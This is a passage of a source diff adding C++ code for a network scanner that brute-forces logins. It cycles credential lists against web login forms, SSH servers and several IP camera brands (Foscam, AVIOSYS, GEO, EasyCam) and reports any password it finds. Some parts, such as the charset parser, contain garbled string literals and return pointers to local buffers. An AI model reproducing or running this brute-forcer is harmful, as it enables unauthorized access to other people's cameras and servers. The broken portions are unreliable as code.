+ { + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(argData, userVal); + strcat(argData, "="); + strcat(argData, wfLoginLst[i]); + strcat(argData, "&"); + strcat(argData, passVal); + strcat(argData, "="); + strcat(argData, wfPassLst[j]); + + strcpy(request, "POST "); + strcat(request, actionVal); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n"); + strcat(request, "Content-length: "); + strcat(request, itoa(strlen(argData), b, 10)); + strcat(request, "\r\n\r\n"); + + strcat(request, argData); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, "verification failed") == NULL + && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + ) + { + if(i == 0) + { + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); +#pragma endregion + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(i == 0) ++i; + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + }; + firstCycle = 1; + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Unknown method."); + }; + + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + ++WF; + + BConInc(); + lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + BConDec(); + + return res; +}; +#pragma endregion + +#pragma region SSH + +int _sshConnect(char *user, char *pass, char *host) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, 128); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +}; +char *_get_ssh_banner(char *ip) +{ + Connector con; + conSTR CSTR; + char recvBuff[256] = {0}; + con._EstablishConnection(ip, 22, "", &CSTR); + if(CSTR.lowerBuff != NULL && CSTR.size != 0) + { + strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); + }; + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + return recvBuff; +}; +int check_ssh_pass(char *user, char *pass, char *userPass, char *host, conSTR *CSTR, char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + res = _sshConnect(user, pass, host); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + char goodStr[512] = {0}; + strcpy(goodStr, userPass); + strcat(goodStr, "@"); + strcat(goodStr, host); + strcat(goodStr, "|+|"); + strcat(goodStr, banner); + int bsz = strlen(goodStr); + CSTR->lowerBuff = new char[bsz + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + CSTR->size = bsz; + strncpy(CSTR->lowerBuff, goodStr, bsz); + memset(CSTR->lowerBuff + bsz, '\0', 1); + return 0; + }; + return res; +}; +int _EstablishSSHConnection(char *host, conSTR *CSTR, char *banner) +{ + CSTR->lowerBuff = NULL; + CSTR->size = 0; + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + OnLiner = 1; + SSHConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + for(int i = 0; i < MaxSSHPass; ++i) + { + if(globalScanFlag == false) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, CSTR, banner); + if(res == 0) + { + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + SSHConDec(); + OnLiner = 0; + return 0; + } + else if(res == -2) + { + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + SSHConDec(); + OnLiner = 0; + return -2; + }; + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + Sleep(500); + }; + SSHConDec(); + OnLiner = 0; + return -1; +}; +#pragma endregion + +#pragma region IPCAMWeb +int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) +{ + char recvBuff[256] = {0}; + char recvBuff2[4096] = {0}; + + SOCKET sock; + sockaddr_in sockAddr; + int bTO; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[" + QString(type) + "] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[" + QString(type) + "] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + + if(cCode != SOCKET_ERROR) + { + int x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]"); +#pragma endregion + shutdown(sock, SD_BOTH); + closesocket(sock); + return 0; + } + else + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + int x = 1; + int xx = 0; + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + while(xx < 3072) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO); + if(x <= 0) break; + strncat(recvBuff2, recvBuff, x); + xx += x; + Activity += x; + }; + if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + + bool result = true; + for(int i = 0; i < negVector.size(); ++i) + { + if(strstri(recvBuff2, negVector[i]) != NULL) + { + result = false; + break; + }; + }; + + if(result) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + return 1; + }; + }; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + return 0; +}; +lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char login[128] = {0}; + char pass[128] = {0}; + char request[1024] = {0}; + OnLiner = 1; + int passCounter = 1; + + std::vector negVector; + if(strcmp(SPEC, "IPC") == 0) + { + negVector.push_back("Invalid"); + } + else if(strcmp(SPEC, "GEO") == 0) + { + negVector.push_back("Access denied"); + negVector.push_back("ErrNoSuchUsr.htm"); + } + else if(strcmp(SPEC, "EasyCam") == 0) + { + negVector.push_back("Set-Cookie: usrLevel=-1;path=/"); + } + else if(strcmp(SPEC, "Foscam") == 0) + { + negVector.push_back("0"); + negVector.push_back("-1"); + negVector.push_back("-2"); + negVector.push_back("-3"); + negVector.push_back("-4"); + negVector.push_back("-5"); + negVector.push_back("-6"); + negVector.push_back("-7"); + } + else if(strcmp(SPEC, "AVIOSYS") == 0) + { + negVector.push_back("Password Error"); + } + else + { + stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + if(strcmp(loginLst[i], " ") == 0) continue; + ZeroMemory(login, 128); + strcpy(login, loginLst[i]); + for(int j = 0; j < MaxPass; j++) + { + if(globalScanFlag == false) break; + if(strcmp(passLst[j], " ") == 0) continue; + + ZeroMemory(pass, 128); + strcpy(pass, passLst[j]); + + ZeroMemory(request, 1024); + if(strcmp(SPEC, "IPC") == 0) + { + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + } + else if(strcmp(SPEC, "GEO") == 0) + { + strcpy(request, "GET /Login.cgi?username="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + } + else if(strcmp(SPEC, "EasyCam") == 0) + { + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, login); + strcpy(lps.pass, pass); + return lps; + }; + } + else if(strcmp(SPEC, "Foscam") == 0) + { + strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); + strcat(request, login); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, "&cmd=logIn&usrName="); + strcat(request, login); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, login); + strcpy(lps.pass, pass); + return lps; + }; + } + else if(strcmp(SPEC, "AVIOSYS") == 0) + { + strcpy(request, "GET /check_user.html?UserName="); + strcat(request, login); + strcat(request, "&PassWord="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1) + { + OnLiner = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + }; + ++passCounter; + }; + }; + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + BConInc(); + lopaStr res = _IPCameraBrute(ip, port, SPEC); + BConDec(); + + return res; +}; +#pragma endregion + +int _pingMyTarget(char *ip) +{ + HANDLE hIcmpFile; + unsigned long ipaddr = INADDR_NONE; + DWORD dwRetVal = 0; + char SendData[32] = "Data Buffer"; + LPVOID ReplyBuffer = NULL; + DWORD ReplySize = 0; + + ipaddr = inet_addr(ip); + + if (ipaddr == INADDR_NONE) + { + stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]"); + return 0; + } + + hIcmpFile = IcmpCreateFile(); + if (hIcmpFile == INVALID_HANDLE_VALUE) + { + stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]"); + return 0; + } + + ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); + ReplyBuffer = (VOID*) malloc(ReplySize); + if (ReplyBuffer == NULL) + { + stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory."); + return 0; + } + + + dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), + NULL, ReplyBuffer, ReplySize, gPingTimeout); + if (dwRetVal != 0) { + PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; + struct in_addr ReplyAddr; + ReplyAddr.S_un.S_addr = pEchoReply->Address; + printf("\tSent icmp message to %s\n", "127.0.0.1"); + if (dwRetVal > 1) + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + else + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms."); + return 1; + } + else + { + printf("\tCall to IcmpSendEcho failed.\n"); + printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() ); + if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); + return 0; + }; +}; + +QString strIP; +QString strPort; +const char *buff1 = "GET / HTTP/1.1\r\nHost: "; +const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-length: 0\r\n\r\n"; +void Connector::_ConnectToPort(char *ip, const char *portC, char *hl) +{ + if(gPingNScan) + { + if(_pingMyTarget(ip) == 0) + { + return; + }; + }; + + char mes[512] = {0}; + conSTR CSTR; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + + int strFlag = 0; + strcpy(mes, buff1); + strcat(mes, ip); + strcat(mes, buff2); + int port = atoi(portC); + int cRes; + + if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR); + else if(port == 22) + { + char banner[256] = {0}; + strncpy(banner, _get_ssh_banner(ip), 256); + if(strlen(banner) > 0) + { + cRes = _EstablishSSHConnection(ip, &CSTR, banner); + }; + } + else cRes = _EstablishConnection(ip, port, mes, &CSTR); + int size = CSTR.size; + + if(size > 0 && cRes != -1) + { + ++Alive; + ++found; + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + + Lexems lx; + lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl); + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + strFlag = 1; +}; diff --git a/finder.cpp b/finder.cpp new file mode 100644 index 0000000..827b3e9 --- /dev/null +++ b/finder.cpp @@ -0,0 +1,2829 @@ +#pragma once +#include "STh.h" +#include "resource.h" + +char* __cdecl strstri(char *_Str, const char *_SubStr) +{ + if(_Str != NULL) + { + string _lowStr = toLowerStr(_Str); + string _lowSubStr = toLowerStr(_SubStr); + const char *resChar = strstr(_lowStr.c_str(), _lowSubStr.c_str()); + int offset = resChar - _lowStr.c_str(); + if(offset < 0) return NULL; + else return (char*)(_Str + offset); + }; +}; + +bool gGlobalTrackLocked = false; +char *_findFirstOcc(char *str, char *delim) +{ + int sz = strlen(str); + int dsz = strlen(delim); + for(int i = 0; i < sz; ++i) + { + for(int j = 0; j < dsz; ++j) + { + if(str[i] == delim[j]) return (char *)(str + i); + }; + }; + + //return str; + return NULL; +}; +char *FindLastOcc(char *str, char *delim) +{ + int sz = strlen(str); + int dsz = strlen(delim); + int savedPosition = 0; + for(int i = 0; i < sz; ++i) + { + for(int j = 0; j < dsz; ++j) + { + if(str[i] == delim[j]) savedPosition = i; + }; + }; + + return (char *)(str + savedPosition); +}; +char *GetCodePage(char *str) +{ + char cdpg[32] = {0}; + if(strstri(str, "\n\r"); + if(temp4 != NULL) + { + int ln = (int)(temp4 - temp3 - strlen("charset=")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp3 + strlen("charset=")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + }; + } + else if(strstri((char *)(temp2 + strlen("\n\r"); + if(temp4 != NULL) + { + int ln = (int)(temp4 - temp3 - strlen("charset = ")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp3 + strlen("charset = ")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + }; + } + else if(strstri((char *)(temp2 + strlen("\n\r"); + if(temp4 != NULL) + { + int ln = (int)(temp4 - temp3 - strlen("charset =")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp3 + strlen("charset =")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + }; + } + else + { + if(strstri(str, "charset=") != NULL) + { + char *temp2 = strstri(str, "charset="); + char *temp3 = _findFirstOcc((char *)(temp2 + strlen("charset=")), " \"'>\n\r"); + if(temp3 != NULL) + { + int ln = (int)(temp3 - temp2 - strlen("charset=")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + } + } + else + { + return "NULL"; + }; + }; + } + else if(strstri(str, "charset=") != NULL) + { + char *temp2 = strstri(str, "charset="); + char *temp3 = _findFirstOcc((char *)(temp2 + strlen("charset=")), " \"'\n\r"); + if(temp3 != NULL) + { + int ln = (int)(temp3 - temp2 - strlen("charset=")); + if(ln > 16) + { + return "WTF?"; + }; + strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln ); + if(strstri(cdpg, "%s") != NULL) return "UTF-8"; + return cdpg; + } + else + { + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + }; + } + else + { + return "NULL"; + }; +}; +int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) +{ + if(strlen(buffcpy) == 0) return -1; + +// char buffcpy[RECV_MAX_LENGTH] = {0}; + //std::string rr = toLowerStr(xcode(buffcp, CP_UTF8, CP_ACP).c_str()); + + //memcpy((void*)buffcpy, rr.c_str(), rr.size()); + + char negWord[256] = {0}; + for(int i = 0; i < GlobalNegativeSize; i++) + { + if(globalScanFlag) + { + strcpy(negWord, GlobalNegatives[i]); + if(strstr(buffcpy, negWord) != NULL && (strcmp(negWord, "") != 0 || strlen(negWord) >= 2)) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Negative hit: \"" + QString::fromLocal8Bit(negWord).toHtmlEscaped() + "\""); + if(strlen(negWord) < 2) + { + stt->doEmitionDebugFoundData(" Len:" + QString::number(strlen(negWord))); + }; + if(strcmp(negWord, "") == 0) + { + stt->doEmitionDebugFoundData("Empty hit!"); + }; + if(strcmp(negWord, " ") == 0) + { + stt->doEmitionDebugFoundData("Space hit!"); + }; + }; + ++Filt; + return -1; + }; + }; + ZeroMemory(negWord, 256); + }; + return 0; +}; +int globalSearchPrnt(char *buffcpy) +{ + if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL + || strstr(buffcpy, "konica minolta") != NULL || strstr(buffcpy, "/eng/home_frm.htm") != NULL + || strstr(buffcpy, "networkScanner webserver") != NULL || strstr(buffcpy, "/eng/htm/top.htm") != NULL + || strstr(buffcpy, "pages/t_ixdmy.htm") != NULL + || strstr(buffcpy, "/web/guest/") != NULL || strstr(buffcpy, "printerInfo") != NULL + || strstr(buffcpy, "hp photosmart") != NULL + || strstr(buffcpy, "menu and") != NULL + || strstr(buffcpy, "hewlett packard") != NULL + || strstr(buffcpy, "laserjet") != NULL || strstr(buffcpy, "supplies summary") != NULL + || strstr(buffcpy, "seiko epson") != NULL || strstr(buffcpy, "ink_y.png") != NULL + || strstr(buffcpy, "epsonnet") != NULL || strstr(buffcpy, "printer name") != NULL + ) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("Printer detected."); + }; + return -1; + }; +}; + +// 500 < 1600 +Lexems lxf; +int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) +{ + if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) + && strstr(buffcpy, "digest realm") != NULL) return 101; + if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) return 1; + 